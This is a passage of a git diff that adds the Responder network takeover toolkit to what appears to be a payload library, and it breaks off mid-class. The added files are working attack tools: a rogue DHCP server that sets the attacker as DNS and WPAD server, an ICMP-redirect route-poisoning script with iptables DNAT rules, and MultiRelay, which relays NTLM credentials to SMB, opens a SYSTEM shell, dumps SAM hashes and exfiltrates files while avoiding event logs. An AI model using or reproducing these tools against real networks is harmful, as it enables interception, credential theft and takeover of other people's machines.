"\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server. + ("Op255", "\xff"), + ]) + + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + +def SpoofIP(Spoof): + return ROUTERIP if Spoof else Responder_IP + +def RespondToThisIP(ClientIp): + if ClientIp.startswith('127.0.0.'): + return False + elif RespondTo and ClientIp not in RespondTo: + return False + elif ClientIp in RespondTo or RespondTo == []: + if ClientIp not in DontRespondTo: + return True + return False + +def ParseSrcDSTAddr(data): + SrcIP = socket.inet_ntoa(data[0][26:30]) + DstIP = socket.inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP, SrcPort, DstIP, DstPort + +def FindIP(data): + IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) + return ''.join(IP[0:4]) + +def ParseDHCPCode(data): + PTid = data[4:8] + Seconds = data[8:10] + CurrentIP = socket.inet_ntoa(data[12:16]) + RequestedIP = socket.inet_ntoa(data[16:20]) + MacAddr = data[28:34] + MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() + OpCode = data[242:243] + RequestIP = data[245:249] + + # DHCP Inform + if OpCode == "\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) + Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), + GiveClientIP=socket.inet_aton("0.0.0.0"), + NextServerIP=socket.inet_aton("0.0.0.0"), + RelayAgentIP=socket.inet_aton("0.0.0.0"), + ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) + return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) + return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + +def SendDHCP(packet,Host): + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(packet, Host) + +if __name__ == "__main__": + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) + s.bind((Interface, 0x0800)) + + while True: + try: + data = s.recvfrom(65535) + if data[0][23:24] == "\x11": # is udp? + SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) + + if SrcPort == 67 or DstPort == 67: + ret = ParseDHCPCode(data[0][42:]) + if ret: + print text("[DHCP] %s" % ret) + + except KeyboardInterrupt: + sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) + diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/DHCP_Auto.sh b/payloads/library/tools_installer/tools_to_install/responder/tools/DHCP_Auto.sh new file mode 100644 index 0000000..1b5d1f2 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/DHCP_Auto.sh @@ -0,0 +1,63 @@ +#!/bin/bash +# This file is part of Responder. laurent.gaffie@gmail.com +# +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# This script will try to auto-detect network parameters +# to run the rogue DHCP server, to inject only your IP +# address as the primary DNS server and WPAD server and +# leave everything else normal. + +if [ -z $1 ]; then + echo "usage: $0 " + exit +fi + +if [ $EUID -ne 0 ]; then + echo "Must be run as root." + exit +fi + +if [ ! -d "/sys/class/net/$1" ]; then + echo "Interface does not exist." + exit +fi + +INTF=$1 +PATH="$PATH:/sbin" +IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` +NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` +DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` +DNS1=$IPADDR +DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` +ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` +WPADSTR="http://$IPADDR/wpad.dat" +if [ -z "$DOMAIN" ]; then + DOMAIN=" " +fi + +echo "Running with parameters:" +echo "INTERFACE: $INTF" +echo "IP ADDR: $IPADDR" +echo "NETMAST: $NETMASK" +echo "ROUTER IP: $ROUTER" +echo "DNS1 IP: $DNS1" +echo "DNS2 IP: $DNS2" +echo "WPAD: $WPADSTR" +echo "" + + +echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" +python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/FindSMB2UPTime.py b/payloads/library/tools_installer/tools_to_install/responder/tools/FindSMB2UPTime.py new file mode 100644 index 0000000..a01a3ca --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/FindSMB2UPTime.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import sys +import os +import datetime +import struct +import socket + +sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) +from packets import SMB2Header, SMB2Nego, SMB2NegoData + +def GetBootTime(data): + Filetime = int(struct.unpack('i", len(Packet)) + Packet + s.send(Buffer) + + try: + data = s.recv(1024) + if data[4:5] == "\xff": + print "This host doesn't support SMBv2" + if data[4:5] == "\xfe": + IsDCVuln(GetBootTime(data[116:124])) + except Exception: + s.close() + raise + +if __name__ == "__main__": + if len(sys.argv)<=1: + sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') + host = sys.argv[1],445 + run(host) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/FindSQLSrv.py b/payloads/library/tools_installer/tools_to_install/responder/tools/FindSQLSrv.py new file mode 100644 index 0000000..c8affa1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/FindSQLSrv.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from socket import * + +print 'MSSQL Server Finder 0.1' + +s = socket(AF_INET,SOCK_DGRAM) +s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) +s.settimeout(2) +s.sendto('\x02',('255.255.255.255',1434)) + +try: + while 1: + data, address = s.recvfrom(8092) + if not data: + break + else: + print "===============================================================" + print "Host details:",address[0] + print data[2:] + print "===============================================================" + print "" +except: + pass + + diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/Icmp-Redirect.py b/payloads/library/tools_installer/tools_to_install/responder/tools/Icmp-Redirect.py new file mode 100644 index 0000000..4ff10ca --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/Icmp-Redirect.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct +import optparse +import pipes +import sys +from socket import * +sys.path.append('../') +from odict import OrderedDict +from random import randrange +from time import sleep +from subprocess import call +from packets import Packet + +parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") +parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") +parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") +parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") +parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") +parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") +parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") +options, args = parser.parse_args() + +if options.OURIP is None: + print "-i mandatory option is missing.\n" + parser.print_help() + exit(-1) +elif options.OriginalGwAddr is None: + print "-g mandatory option is missing, please provide the original gateway address.\n" + parser.print_help() + exit(-1) +elif options.VictimIP is None: + print "-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) +elif options.Interface is None: + print "-I mandatory option is missing, please provide your network interface.\n" + parser.print_help() + exit(-1) +elif options.ToThisHost is None: + print "-r mandatory option is missing, please provide a destination target.\n" + parser.print_help() + exit(-1) + +if options.AlternateGwAddr is None: + AlternateGwAddr = options.OURIP + +#Setting some vars. +OURIP = options.OURIP +OriginalGwAddr = options.OriginalGwAddr +AlternateGwAddr = options.AlternateGwAddr +VictimIP = options.VictimIP +ToThisHost = options.ToThisHost +ToThisHost2 = options.ToThisHost2 +Interface = options.Interface + +def Show_Help(ExtraHelpData): + print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") + print(ExtraHelpData) + +MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) + +def GenCheckSum(data): + s = 0 + for i in range(0, len(data), 2): + q = ord(data[i]) + (ord(data[i+1]) << 8) + f = s + q + s = (f & 0xffff) + (f >> 16) + return struct.pack("H", len(CalculateLen)) + # Then CheckSum this packet + CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + +class ICMPRedir(Packet): + fields = OrderedDict([ + ("Type", "\x05"), + ("OpCode", "\x01"), + ("CheckSum", "\x00\x00"), + ("GwAddr", ""), + ("Data", ""), + ]) + + def calculate(self): + self.fields["GwAddr"] = inet_aton(OURIP) + CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + +class DummyUDP(Packet): + fields = OrderedDict([ + ("SrcPort", "\x00\x35"), #port 53 + ("DstPort", "\x00\x35"), + ("Len", "\x00\x08"), #Always 8 in this case. + ("CheckSum", "\x00\x00"), #CheckSum disabled. + ]) + +def ReceiveArpFrame(DstAddr): + s = socket(AF_PACKET, SOCK_RAW) + s.settimeout(5) + Protocol = 0x0806 + s.bind((Interface, Protocol)) + OurMac = s.getsockname()[4] + Eth = EthARP(SrcMac=OurMac) + Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) + Arp.calculate() + final = str(Eth)+str(Arp) + try: + s.send(final) + data = s.recv(1024) + DstMac = data[22:28] + DestMac = DstMac.encode('hex') + PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + return PrintMac,DstMac + except: + print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + exit(1) + +def IcmpRedirectSock(DestinationIP): + PrintMac,DestMac = ReceiveArpFrame(VictimIP) + print '[ARP]Target Mac address is :',PrintMac + PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) + print '[ARP]Router Mac address is :',PrintMac + s = socket(AF_PACKET, SOCK_RAW) + Protocol = 0x0800 + s.bind((Interface, Protocol)) + Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) + IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) + IPPackUDP.calculate() + ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) + ICMPPack.calculate() + IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) + IPPack.calculate() + final = str(Eth)+str(IPPack) + s.send(final) + print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) + +def FindWhatToDo(ToThisHost2): + if ToThisHost2 != None: + Show_Help('Hit CRTL-C to kill this script') + RunThisInLoop(ToThisHost, ToThisHost2,OURIP) + if ToThisHost2 == None: + Show_Help(MoreHelp) + IcmpRedirectSock(DestinationIP=ToThisHost) + exit() + +def RunThisInLoop(host, host2, ip): + dns1 = pipes.quote(host) + dns2 = pipes.quote(host2) + ouripadd = pipes.quote(ip) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) + print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." + while True: + IcmpRedirectSock(DestinationIP=dns1) + IcmpRedirectSock(DestinationIP=dns2) + print "[+]Repoisoning the target in 8 minutes..." + sleep(480) + +FindWhatToDo(ToThisHost2) diff --git a/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay.py b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay.py new file mode 100644 index 0000000..e166487 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/tools/MultiRelay.py @@ -0,0 +1,619 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import sys +import re +import os +import logging +import optparse +import time +from threading import Thread +from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler +try: + from Crypto.Hash import MD5 +except ImportError: + print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." + print "You can install it on debian based os with this command: apt-get install python-crypto" + print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" + +from MultiRelay.RelayMultiPackets import * +from MultiRelay.RelayMultiCore import * + +from SMBFinger.Finger import RunFinger +sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) +from socket import * + +__version__ = "1.2" + +def UserCallBack(op, value, dmy, parser): + args=[] + for arg in parser.rargs: + if arg[0] != "-": + args.append(arg) + if getattr(parser.values, op.dest): + args.extend(getattr(parser.values, op.dest)) + setattr(parser.values, op.dest, args) + +parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) +parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") +parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") +parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") +parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand") +parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump") + +options, args = parser.parse_args() + +if options.TARGET is None: + print "\n-t Mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) +if options.UserToRelay is None: + print "\n-u Mandatory option is missing, please provide a username to relay.\n" + parser.print_help() + exit(-1) +if options.ExtraPort is None: + options.ExtraPort = 0 + +OneCommand = options.OneCommand +Dump = options.Dump +ExtraPort = options.ExtraPort +UserToRelay = options.UserToRelay +Host = options.TARGET, 445 +Cmd = [] +ShellOpen = [] + +def color(txt, code = 1, modifier = 0): + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def ShowWelcome(): + print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) + print color('Version: '+__version__,8,1) + print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' + print 'Usernames to relay (-u) are case sensitive.' + print 'To kill this script hit CRTL-C.\n' + print 'Use this script in combination with Responder.py for best results.' + print 'This tool listen on TCP port 80, 3128 and 445.' + print 'Make sure nothing use these ports.\n' + print 'For optimal pwnage, launch Responder with only these 2 options:' + print '-rv\nRunning psexec style commands can be noisy in the event viewer,' + print 'if anyone ever reads it.. If you want to leave no trace in the' + print 'event viewer, use Responder\'s built-in commands. They silently' + print 'perform the tasks requested, including the hashdump command.' + print color('\nRelaying credentials for these users:',8,1) + print color(UserToRelay,4,1) + print '\n' + + +ShowWelcome() + +def ShowHelp(): + print color('Available commands:',8,0) + print color('dump',8,1)+' -> Extract the SAM database and print hashes.' + print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' + print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' + print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' + print color('help',8,1)+' -> Print this message.' + print color('exit',8,1)+' -> Exit this shell and return in relay mode.' + print ' If you want to quit type exit and then use CRTL-C\n' + print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) + +Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" +Logs = logging +Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') + +try: + RunFinger(Host[0]) +except: + print "The host %s seems to be down or port 445 down."%(Host[0]) + sys.exit(1) + + +def get_command(): + global Cmd + Cmd = [] + while any(x in Cmd for x in Cmd) is False: + Cmd = [raw_input("C:\\Windows\\system32\\:#")] + +#Function used to make sure no connections are accepted while we have an open shell. +#Used to avoid any possible broken pipe. +def IsShellOpen(): + #While there's nothing in our array return false. + if any(x in ShellOpen for x in ShellOpen) is False: + return False + #If there is return True. + else: + return True + +def ConnectToTarget(): + try: + s = socket(AF_INET, SOCK_STREAM) + #Override TCP keep-alives + s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1) + s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15) + s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5) + # macOS does not have TCP_KEEPIDLE + if sys.platform != 'darwin': + s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5) + s.connect(Host) + return s + except: + "Cannot connect to target, host down?" + sys.exit(1) + +class HTTPProxyRelay(BaseRequestHandler): + + def handle(self): + + try: + #Don't handle requests while a shell is open. That's the goal after all. + if IsShellOpen(): + return None + except: + raise + + s = ConnectToTarget() + try: + data = self.request.recv(8092) + ##First we check if it's a Webdav OPTION request. + Webdav = ServeOPTIONS(data) + if Webdav: + #If it is, send the option answer, we'll send him to auth when we receive a profind. + self.request.send(Webdav) + data = self.request.recv(4096) + + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. + if NTLM_Auth: + #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(2048) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + smbdata = s.recv(2048) #got it here. + + ## Send HTTP Proxy + Buffer_Ans = WPAD_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb + key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. + data = self.request.recv(8092) + NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] + + ##Got NTLM Message 3 from client. + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) + ##Might be anonymous, verify it and if so, send no go to client. + if IsSMBAnonymous(NTLM_Auth): + Response = WPAD_Auth_407_Ans() + self.request.send(str(Response)) + data = self.request.recv(8092) + else: + #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login + #and has not attempted before. While at it, let's grab his hash. + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + + if Username is not None: + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + print "[+] SMB Session Auth sent." + s.send(buffer1) + smbdata = s.recv(2048) + RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + if RunCmd is None: + s.close() + return None + + else: + ##Any other type of request, send a 407. + Response = WPAD_Auth_407_Ans() + self.request.send(str(Response)) + + except Exception: + self.request.close() + ##No need to print anything (timeouts, rst, etc) to the user console.. + pass + + +class HTTPRelay(BaseRequestHandler): + + def handle(self): + + try: + #Don't handle requests while a shell is open. That's the goal after all. + if IsShellOpen(): + return None + except: + raise + + try: + s = ConnectToTarget() + + data = self.request.recv(8092) + ##First we check if it's a Webdav OPTION request. + Webdav = ServeOPTIONS(data) + if Webdav: + #If it is, send the option answer, we'll send him to auth when we receive a profind. + self.request.send(Webdav) + data = self.request.recv(4096) + + NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. + if NTLM_Auth: + #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(2048) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + smbdata = s.recv(2048) #got it here. + + ## Send HTTP Response. + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb + key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. + data = self.request.recv(8092) + NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] + + ##Got NTLM Message 3 from client. + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) + ##Might be anonymous, verify it and if so, send no go to client. + if IsSMBAnonymous(NTLM_Auth): + Response = IIS_Auth_401_Ans() + self.request.send(str(Response)) + data = self.request.recv(8092) + else: + #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login + #and has not attempted before. While at it, let's grab his hash. + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + + if Username is not None: + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") + t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + print "[+] SMB Session Auth sent." + s.send(buffer1) + smbdata = s.recv(2048) + RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + if RunCmd is None: + s.close() + return None + + else: + ##Any other type of request, send a 407. + Response = IIS_Auth_401_Ans() + self.request.send(str(Response)) + + + except Exception: + self.request.close() + ##No need to print anything (timeouts, rst, etc) to the user console.. + pass + +class SMBRelay(BaseRequestHandler): + + def handle(self): + + try: + #Don't handle requests while a shell is open. That's the goal after all. + if IsShellOpen(): + return None + except: 